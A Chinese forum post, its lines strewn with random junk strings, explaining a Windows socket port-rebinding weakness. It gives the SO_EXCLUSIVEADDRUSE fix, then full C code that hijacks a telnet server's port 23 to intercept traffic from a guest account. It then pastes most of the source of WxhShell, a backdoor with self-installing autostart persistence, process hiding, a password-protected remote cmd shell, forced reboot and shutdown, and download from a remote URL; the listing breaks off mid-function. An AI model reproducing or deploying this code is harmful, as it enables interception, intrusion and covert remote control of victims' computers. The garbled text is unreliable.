在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>(*jbL]p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.FXQ,7mZ- Qx,G3m[} saddr.sin_family = AF_INET;
3QHZC0AY V[xy9L[# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"
}ZD)7K *tO<wp& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*(scSC> \fKE~61 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#`fT%'T! *"CvB{XF&Z 这意味着什么?意味着可以进行如下的攻击:
;?o C=c d$TW](Bby 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$"FdS,*qKl O+8`. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CbHNb~ 1%@~J\qF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LX fiSM{o JgB# EoF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'AAY!{>
flB,_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vvM)Rb, 3PA'Uk"5Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;9PM?Iy[ ".)_kt[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}m H>lN LbR-uc?x #include
(6BCFl:/Q< #include
%8L<KJd #include
4B]61|A #include
`g1Oon_ DWORD WINAPI ClientThread(LPVOID lpParam);
mvgm o int main()
9^ r {
Vi#im`@ WORD wVersionRequested;
@;6}xO2 DWORD ret;
!T*B{+| WSADATA wsaData;
x5SQ+7 BOOL val;
+_eb*Z`5o SOCKADDR_IN saddr;
OkZ! ZS
h SOCKADDR_IN scaddr;
rl%Kn^JJ~ int err;
TyWy5J<
:+ SOCKET s;
(g m^o{ SOCKET sc;
#'x?)AS int caddsize;
AE&n^vdQW HANDLE mt;
3-bcY4 DWORD tid;
zb/Xfu.)?6 wVersionRequested = MAKEWORD( 2, 2 );
ku;nVV err = WSAStartup( wVersionRequested, &wsaData );
`5-#M/J if ( err != 0 ) {
#0u69 printf("error!WSAStartup failed!\n");
i8YgG0[) return -1;
zt2-w/[Q }
0lCd,a2: saddr.sin_family = AF_INET;
s7o*|Xv 9Nu#&_2R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0NtsFPO f#kevf9zc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!2|`aa saddr.sin_port = htons(23);
9'q /&uH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IKDjatn {
"IG$VjgcB printf("error!socket failed!\n");
hu(K!>{ return -1;
-Y=c g; }
9!HMQ val = TRUE;
+Nbk\% //SO_REUSEADDR选项就是可以实现端口重绑定的
?gwbg* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~e<'t4 {
&NjZD4m`= printf("error!setsockopt failed!\n");
8ex:OTzn| return -1;
2{kfbm-89t }
Jf<yTAm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8+a<#?; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UUf1T@- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s<_LcQbt{ pt%~,M _ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,35:Srf| {
jjwMvf.R ret=GetLastError();
Bb[e[,ah printf("error!bind failed!\n");
d)1sP0Z_@ return -1;
gQd=0"MV }
`V):V4!j), listen(s,2);
w+9C/U;|s while(1)
a]Da`$T {
oB06{/6 caddsize = sizeof(scaddr);
|z|)r"*\4 //接受连接请求
a^\- }4yR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7R<u=U if(sc!=INVALID_SOCKET)
O<Sc.@~ {
0SCW2/o8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0?Tk* X if(mt==NULL)
z?uQlm*We {
%{~mk[d3 printf("Thread Creat Failed!\n");
w4fJ`, break;
"o# )vA` }
,gL)~6!A }
OZB}aow CloseHandle(mt);
YNgR1:l }
Z>Kcz^a# closesocket(s);
gvc'
$9% WSACleanup();
QV'3O| return 0;
4`! }
kk_9G-M DWORD WINAPI ClientThread(LPVOID lpParam)
1|~#028 {
oY2?W SOCKET ss = (SOCKET)lpParam;
t`8e#n 9 SOCKET sc;
=Mu'+,dT unsigned char buf[4096];
7Ysy\gZ&wp SOCKADDR_IN saddr;
)>/j&>% long num;
JM+sHHs DWORD val;
HDSA]{:sl DWORD ret;
mWN1Q<vn,l //如果是隐藏端口应用的话,可以在此处加一些判断
i^sDh>$J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[Z5}2gB& saddr.sin_family = AF_INET;
!skb=B# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q(&^9" saddr.sin_port = htons(23);
yNqm]H3<MP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@u"kX2>Eq {
??\*D9rCn printf("error!socket failed!\n");
9-a2L JI return -1;
,Og[[0g }
*3F /Ft5 val = 100;
iB}LnC: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{?
K|(C {
CFkW@\] ret = GetLastError();
K.V!@bPlw9 return -1;
:_fjml/ }
STXqq[+Rf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FU]8.)`G {
8tT&BmT ret = GetLastError();
gc,J2B]61 return -1;
EvSnZB1 y }
=2;mxJ# o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'XP>} m {
i)@U.-*5m printf("error!socket connect failed!\n");
X]zCTY=l closesocket(sc);
EU^}NZW&v: closesocket(ss);
>Bh)7>`3c return -1;
X ]pR,\B }
Wk\mgGn+ while(1)
M9(ez7Z {
dJ%wVY0z= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Nh1e1m? //如果是嗅探内容的话,可以再此处进行内容分析和记录
WIEx
'{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V5e \% num = recv(ss,buf,4096,0);
Gs_*/E7, if(num>0)
hapB! ~M? send(sc,buf,num,0);
|n|U;|'^ else if(num==0)
Pp1zW3+Q break;
iioct_7,g< num = recv(sc,buf,4096,0);
097Fvt=# if(num>0)
5';/@M send(ss,buf,num,0);
xecieC else if(num==0)
!F0rd9 break;
zmy4tsmX }
pgz:F#> closesocket(ss);
z9k*1: closesocket(sc);
MO));M) return 0 ;
Ax5mP8S }
86;+r'3p. ou<S)_|Iu ysSjc ==========================================================
Hk<X avu*>SB 下边附上一个代码,,WXhSHELL
H$NP1^5! GN:Ru|n ==========================================================
I!|y;mh:it V;>9&'Z3 #include "stdafx.h"
eVqM=%Q CTh1+&Pa #include <stdio.h>
& cM
u/ } #include <string.h>
/#-,R,Q #include <windows.h>
;jRL3gAe) #include <winsock2.h>
2x-'>i_|g #include <winsvc.h>
K(-G: | #include <urlmon.h>
5xh!f%6 MZCL:# #pragma comment (lib, "Ws2_32.lib")
?ada>"~GR_ #pragma comment (lib, "urlmon.lib")
_v1bTg"? tP}Xhn` #define MAX_USER 100 // 最大客户端连接数
IY];Ss&i #define BUF_SOCK 200 // sock buffer
Ivz+Jjw #define KEY_BUFF 255 // 输入 buffer
*hv=~A
$q #=X)Jx~ #define REBOOT 0 // 重启
I["F+kt^^ #define SHUTDOWN 1 // 关机
Cr'
!"F Dl0/-=L #define DEF_PORT 5000 // 监听端口
j`>?"1e@x Ty`-r5 #define REG_LEN 16 // 注册表键长度
17e=GL #define SVC_LEN 80 // NT服务名长度
mZ`1JO9 ^dFhg_GhF // 从dll定义API
Q{H17]W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
LiiK3!^i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"nVK< V d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5gO /-Zj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
99J+$A1 " <<A // wxhshell配置信息
TcR=GR*cJ struct WSCFG {
dVvZu% DFp int ws_port; // 监听端口
x$~3$E char ws_passstr[REG_LEN]; // 口令
l*$WX=h6n int ws_autoins; // 安装标记, 1=yes 0=no
K|`+C1! char ws_regname[REG_LEN]; // 注册表键名
d/l,C4p char ws_svcname[REG_LEN]; // 服务名
^Y$QR] char ws_svcdisp[SVC_LEN]; // 服务显示名
q_-ma_F#s char ws_svcdesc[SVC_LEN]; // 服务描述信息
E|Q{]&$;Z" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)\8URc|J int ws_downexe; // 下载执行标记, 1=yes 0=no
3.(.*> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I|H,)!Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,Qat [.{^" <Z< };
=.DTR5(_h b2G2 cL-( // default Wxhshell configuration
_B}9f struct WSCFG wscfg={DEF_PORT,
$+7 ci~gs "xuhuanlingzhe",
I"B8_ 1,
o1e4.-xI "Wxhshell",
GaHA% "Wxhshell",
{nTG~d "WxhShell Service",
!IN@i:m "Wrsky Windows CmdShell Service",
l`DtiJ?$$0 "Please Input Your Password: ",
B#1:Y;Z 1,
i[PvDv"n "
http://www.wrsky.com/wxhshell.exe",
RV}GK
L>gn "Wxhshell.exe"
)^&,Dj };
>o#ERNf Rl1$?l6Rf // 消息定义模块
juH wHt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5qC:yI char *msg_ws_prompt="\n\r? for help\n\r#>";
d`85P+Qen| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!z?0 :Jg char *msg_ws_ext="\n\rExit.";
^/k, char *msg_ws_end="\n\rQuit.";
CldDr<k3 char *msg_ws_boot="\n\rReboot...";
!Ri
r&gF char *msg_ws_poff="\n\rShutdown...";
vmvFBzLR char *msg_ws_down="\n\rSave to ";
)AJ=an||5 !5&%\NSv char *msg_ws_err="\n\rErr!";
~> PgJ^G char *msg_ws_ok="\n\rOK!";
W+.{4K kymn)Ea char ExeFile[MAX_PATH];
ujx@@N int nUser = 0;
6ga5^6W HANDLE handles[MAX_USER];
(|dPeix| int OsIsNt;
5Q|sta! ;@9e\!% SERVICE_STATUS serviceStatus;
U_l7CCK + SERVICE_STATUS_HANDLE hServiceStatusHandle;
[]"=]f{1}; sXiv, // 函数声明
@ ICbKg: int Install(void);
IO"hF int Uninstall(void);
%kq ^]S2O int DownloadFile(char *sURL, SOCKET wsh);
p-,Iio+ int Boot(int flag);
\-c#jo.$8 void HideProc(void);
;gUXvx~~r int GetOsVer(void);
'l|R5 int Wxhshell(SOCKET wsl);
IM=+3W;ak void TalkWithClient(void *cs);
HxZ.OZbR int CmdShell(SOCKET sock);
lufeieW int StartFromService(void);
=T4u":#N; int StartWxhshell(LPSTR lpCmdLine);
@(>XOj?+ 1%jH^,t/m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LWD#a~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
=m9 i)Q 4sIXO // 数据结构和表定义
s/t11; SERVICE_TABLE_ENTRY DispatchTable[] =
ybE[B}pOeZ {
\2>?6zs {wscfg.ws_svcname, NTServiceMain},
3;l "=#5 {NULL, NULL}
4mJFvDZV` };
"r. . MwAJ( // 自我安装
\I:.<2i int Install(void)
'M N1A;IJ {
B |&F%P0: char svExeFile[MAX_PATH];
%i"}x/CD[ HKEY key;
[;^,CD|P strcpy(svExeFile,ExeFile);
% O%xpSYr 7"cv|6y| // 如果是win9x系统,修改注册表设为自启动
e:E# b~{ if(!OsIsNt) {
=9$mbn
r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k ZxW"2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,E}$[mHyjz RegCloseKey(key);
wa ky<w, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mmP U
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>1ZJ{se RegCloseKey(key);
6Dst;: return 0;
wf9z"B }
Q7GY3X*kA }
y@;%Uv& }
`R+,1"5 = else {
eW50s`bKY ;GOz>pg // 如果是NT以上系统,安装为系统服务
:=fvZA WD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3ZojE ux` if (schSCManager!=0)
Hg+
F^2<y {
;`UecLb# SC_HANDLE schService = CreateService
jO8k6<l (
c-8!#~M( schSCManager,
5<+KR.W wscfg.ws_svcname,
H?Jm'\~ wscfg.ws_svcdisp,
CDdkoajBa SERVICE_ALL_ACCESS,
f$F*3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fdv`7u+}a SERVICE_AUTO_START,
&leK}je [ SERVICE_ERROR_NORMAL,
DWm SC}{. svExeFile,
F]_cbM{8/ NULL,
L`[z[p{? NULL,
1%`7.;!i NULL,
DC:)Ysuj NULL,
p]ivf NULL
ir[jCea, );
}}T,W.#%u if (schService!=0)
PDP[5q r {
H%}IuHhN) CloseServiceHandle(schService);
2UadV_s+s CloseServiceHandle(schSCManager);
YZE.@Rz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L?RF;jf strcat(svExeFile,wscfg.ws_svcname);
YQ]\uT>}& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g^~Kze RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xf,5R9g/ RegCloseKey(key);
g/Wh,f3 return 0;
R_kQPP }
Q8qz*v]{ }
^b-18 ~s CloseServiceHandle(schSCManager);
`<fh+* }
lE5v-z? &| }
glUo7^ay7 {9 PR()_ return 1;
uT_!'l$fr }
~?Omy8# ${hz e<g // 自我卸载
]v 29 Rx int Uninstall(void)
.v\\Tq&"| {
6Bt=^~d HKEY key;
Es'Um,ku !<n"6KA. if(!OsIsNt) {
%[QV,fD'E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0$P/jt RegDeleteValue(key,wscfg.ws_regname);
O'DW5hBL0 RegCloseKey(key);
N{C;~'M2ce if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zO=%J)-= RegDeleteValue(key,wscfg.ws_regname);
E]} n( RegCloseKey(key);
xUWr}j4; return 0;
, c;eN }
NgZUnh3{ }
rOfK~g,X }
0GXO&rCG else {
}_OM$nzj s(2GFc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!|G(Yg7C if (schSCManager!=0)
8cxai8 {
;%!m<S|%k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UlovXb if (schService!=0)
]!{y
a8 {
Ff4*IOZ}( if(DeleteService(schService)!=0) {
`
%?9=h% CloseServiceHandle(schService);
9w4sSj` CloseServiceHandle(schSCManager);
FG-L0X return 0;
I!: z,t< }
{Gi h&N CloseServiceHandle(schService);
xFFr }
eiMH['X5 CloseServiceHandle(schSCManager);
yJJ4~j){l }
*~VxC{ }
h{iEZ# m7|RD]q& return 1;
B|{I:[ }
&xSa7FY {1lO // 从指定url下载文件
=tdSq"jh int DownloadFile(char *sURL, SOCKET wsh)
lC?Icn|o {
9s$U%F6} HRESULT hr;
2%UBwSiqR char seps[]= "/";
t} p@:' char *token;
P9Q2gVGAO{ char *file;
8HErE<_( char myURL[MAX_PATH];
+V(5w`qx char myFILE[MAX_PATH];
<,%:
c+' =hR[ strcpy(myURL,sURL);
#;tT8[Ewuw token=strtok(myURL,seps);
@e2}BhB2 while(token!=NULL)
OEgI_=B {
udqS'g& file=token;
7*H:Ob)9k token=strtok(NULL,seps);
2 YxT MT }
pd@; b5T \}]iS C.2 GetCurrentDirectory(MAX_PATH,myFILE);
TYgQJW? strcat(myFILE, "\\");
83ipf"]* strcat(myFILE, file);
%:C ]7gQ send(wsh,myFILE,strlen(myFILE),0);
t!;/Z6\Pb send(wsh,"...",3,0);
[w\?j, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
dKhA$f~ if(hr==S_OK)
YE+$H%Jl! return 0;
U yqXMbw@ else
E8}+k o return 1;
sKaE-sbJY u=+q$Q] }
_!V%fw Y}R}-+bD/ // 系统电源模块
9l/EjF^ int Boot(int flag)
76fIC {
GR4?BuY, HANDLE hToken;
HRa@ TOKEN_PRIVILEGES tkp;
l95<QI }OShT+xeX if(OsIsNt) {
k)(Biz398E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
748CD{KxW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F1azZ( tkp.PrivilegeCount = 1;
7Hw<ojkt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4N?v
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
JN3cg if(flag==REBOOT) {
#&!G"x7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I0= NaZ7 return 0;
&%aXR A#+ }
:K.4 n else {
!mfJpJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ztM<J+ return 0;
?h\mk0[ }
9L eNe}9v }
o,Z{ w" else {
0Ce]V,i6C> if(flag==REBOOT) {
!|wzf+V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"
BTE return 0;
*tQk;'/A] }
> 6CV4 L else {
NY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
gz#4{iT~ return 0;
JHV)ZOO }
/ l>.mK() }
D@Da0 MEZ{j%-a return 1;
`vk0c }
eBW=^B"y+ ?^!,vh // win9x进程隐藏模块
Qu*1g(el!o void HideProc(void)
~Vh =5J~ {
Q%ad q-B .=RlOK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
w; TkkDH if ( hKernel != NULL )
]TpU"JD {
OmMX$YID pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$K}.
+`vVO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
SOh-,c\C FreeLibrary(hKernel);
[IX+M#mf }
lvSdY(8 =jAFgwP\ return;
@uleyB }
Nud,\mXrY[ eb:A1f4L // 获取操作系统版本
9t:] int GetOsVer(void)
C0)Z6 {
<lwuTow OSVERSIONINFO winfo;
F3E[wdT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nS.G~c| GetVersionEx(&winfo);
y=N"=Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;2`sN
return 1;
3}Xc71|v else
]?l{j return 0;
m\0cE1fir }
|Ur"za;%@ 0irr7Y // 客户端句柄模块
`aSM8C\ int Wxhshell(SOCKET wsl)
2ypIq {
_^!vCa7f SOCKET wsh;
v"lf-c
struct sockaddr_in client;
]KK`5Dv|,e DWORD myID;
=
1|"- >IvBUM[Rt while(nUser<MAX_USER)
@|A| {
{[OwMk int nSize=sizeof(client);
pa/9F[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L:f)i,S"5q if(wsh==INVALID_SOCKET) return 1;
{[#(w75R{ &w\I<J`T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
a-0cN 9 if(handles[nUser]==0)
e1(h</M U2 closesocket(wsh);
a|qsQ'1,; else
QApyP CH nUser++;
s;.=5wcvi? }
bg7n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Bq}x9C&< KFhG ( return 0;
V'wi ^gq }
d]B=*7] #uvJH8)D // 关闭 socket
3VO:+mT void CloseIt(SOCKET wsh)
NB)t7/Us {
pM$ @m] closesocket(wsh);
3oBC
nUser--;
Os&1..$Nb ExitThread(0);
;;#nV$ }
Jq1 n0O c ~Kc7}I // 客户端请求句柄
$G";2(-k void TalkWithClient(void *cs)
8F6h#%9 {
WmVVR>0V| ejcwg*i SOCKET wsh=(SOCKET)cs;
f_<Y\ char pwd[SVC_LEN];
0X"\ a'M_ char cmd[KEY_BUFF];
I'_v{k5ZI char chr[1];
YKx 1NC int i,j;
$h[Yz l Q1V2pP+=@ while (nUser < MAX_USER) {
i?>Hr| gxM[V>[ if(wscfg.ws_passstr) {
PrnrXl
S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[m#NfA:h, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>>V&yJ_ //ZeroMemory(pwd,KEY_BUFF);
)Vk:YL++ i=0;
6VR[)T% while(i<SVC_LEN) {
FdxsUDL I: U$ // 设置超时
l,bZG3,6 fd_set FdRead;
jT^!J+?6K+ struct timeval TimeOut;
Je~p%m#e;K FD_ZERO(&FdRead);
o;;,iHu* FD_SET(wsh,&FdRead);
jsm0kz TimeOut.tv_sec=8;
F6&P ~H TimeOut.tv_usec=0;
1n3$V:00 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/djACA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DQ_ 2fX~) 2f{kBD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;&mxqY8`' pwd
=chr[0]; A2_Ls;]
if(chr[0]==0xd || chr[0]==0xa) { "::9aYd!
pwd=0; ^pw7o6}
break; @_O3&ZK
} t|=n1\=?
i++; 8MQbLj'H
} M,G8*HI"
Rp4FXR jC
// 如果是非法用户,关闭 socket s01$fFJgO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 88YC0!Ni
} Sj1r s#@1
enPYj.*/0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -x?Hj/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i-"<[*ePd
s((b"{fFb
while(1) { '\'7yN'
JU2P%3
ZeroMemory(cmd,KEY_BUFF); B3.X}ys#
](n69XX_
// 自动支持客户端 telnet标准 w(#:PsMo<
j=0; pLo;#e8'f
while(j<KEY_BUFF) { 5 iv@@1c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !p"Kd ~
cmd[j]=chr[0]; _KxX&THaj
if(chr[0]==0xa || chr[0]==0xd) { -s33m]a;
cmd[j]=0; V^WQ6G1
break; m&ZJqsZIL
} pKYLAt+^>
j++; qw)Key
} l`qP~k#
/rOnm=P+Q
// 下载文件 kp.|gzA6
if(strstr(cmd,"http://")) { J]\s*,C&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fGG
9zB6
if(DownloadFile(cmd,wsh)) % dYI5U89
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$Dh.y
else I,w^?o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ko>M&/^
} jigbeHRy
else { ,A^L=+
'&/(oJ;O~
switch(cmd[0]) { <BQ%8}
L#[HnsLp_
// 帮助 Y'?Iznb
case '?': { 83B\+]{hD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $=7H1 w
break; 2"zI R(
} ]y$)%J^T
// 安装 1RmBtx\<
case 'i': { ,,XS;X?
if(Install()) gca|?tt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FU^Y{sbDg
else Cx$9#3\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J&(
break; Qb@BV&^y&
} F=:F>6`
// 卸载 byp.V_a}/
case 'r': { hcj{%^p
if(Uninstall()) 'Dnq+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "MW55OWYU
else -=@K%\\~5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n(9F:N
break; _CHKh*KHML
} gX/|aG$a!U
// 显示 wxhshell 所在路径 9Y;}JVS
case 'p': { L!`*R)I45
char svExeFile[MAX_PATH]; bBd *}"v^"
strcpy(svExeFile,"\n\r"); hg(KNvl
strcat(svExeFile,ExeFile); 7$;c6_se
send(wsh,svExeFile,strlen(svExeFile),0); Z?5,cI[6#
break; 44z=m MR<
} ?U7&R%Lh`
// 重启 N;%j#(v
j
case 'b': { ag|9$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h;&&@5@lM
if(Boot(REBOOT)) 9?EY.}~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); = .fc"R|<K
else { 3 ATN?V@
closesocket(wsh); ZS07_6.~
ExitThread(0); O%rS;o
} 0tn7Rkiw
break; qg/Y;tGSx
} Ut0qrkqF
// 关机 bvt-leA=
case 'd': { Ke'YM{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "a 2H8x
if(Boot(SHUTDOWN)) 2d,wrC<'$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'<O)"1w
else { O% j,:t'"
closesocket(wsh); i[V,IP +
ExitThread(0); LGdf_M-f
} aC
$h_
break; 6EW"8RG`
} B$iMU?B3
// 获取shell 'dd<<E
case 's': { y0W`E/1t
CmdShell(wsh); *GY,h$Ul
closesocket(wsh); @5uyUSt]
ExitThread(0); GcU(:V2o
break; ~}FLn9@*
} LS?` {E
// 退出 IWSEssP
case 'x': { +#2@G}j
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fp* &os
CloseIt(wsh); [NR0] #h
break; mAtG&my)
} 9 ;! uV>-H
// 离开 e3bAT.P
case 'q': { ?N9adL &b
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G+%5V5GS
closesocket(wsh); TO8\4p*tE
WSACleanup(); \p_8YC
exit(1);
Q}`2Y^.
break; %E=,H?9&>
} NC#kI3 {
} e=NQY8?
} _@}MGWlAPt
a|^-z|.
// 提示信息 ~vvQz"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^~hhdwu3a
} VA*79I#_q
} F'T=
Alf
N*c?Er@8U
return; g#bfY=C
} 4h0jX9
J0Rz.=Y
// shell模块句柄 B[k+#YYY
int CmdShell(SOCKET sock) 0DP%44Cv 9
{ ;gw!;!T
STARTUPINFO si; B3k],k
ZeroMemory(&si,sizeof(si)); -n$rKEC4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ny&Fjzl
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; js$a^6
PROCESS_INFORMATION ProcessInfo; 0OoO cc
char cmdline[]="cmd"; =<27qj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Os
OPTp
return 0; g{f>jd
} !n?*vN=S
qCFXaj
// 自身启动模式 oew]ijnB
int StartFromService(void) s9Q)6=mE
{ fgz'C?
typedef struct 8f`b=r(a>
{ 113x9+w[
DWORD ExitStatus; 4m~stDlN
DWORD PebBaseAddress; Gxt<kz
DWORD AffinityMask; b"3T(#2<*
DWORD BasePriority; 7)5$1
ULONG UniqueProcessId; yqc(32rF!
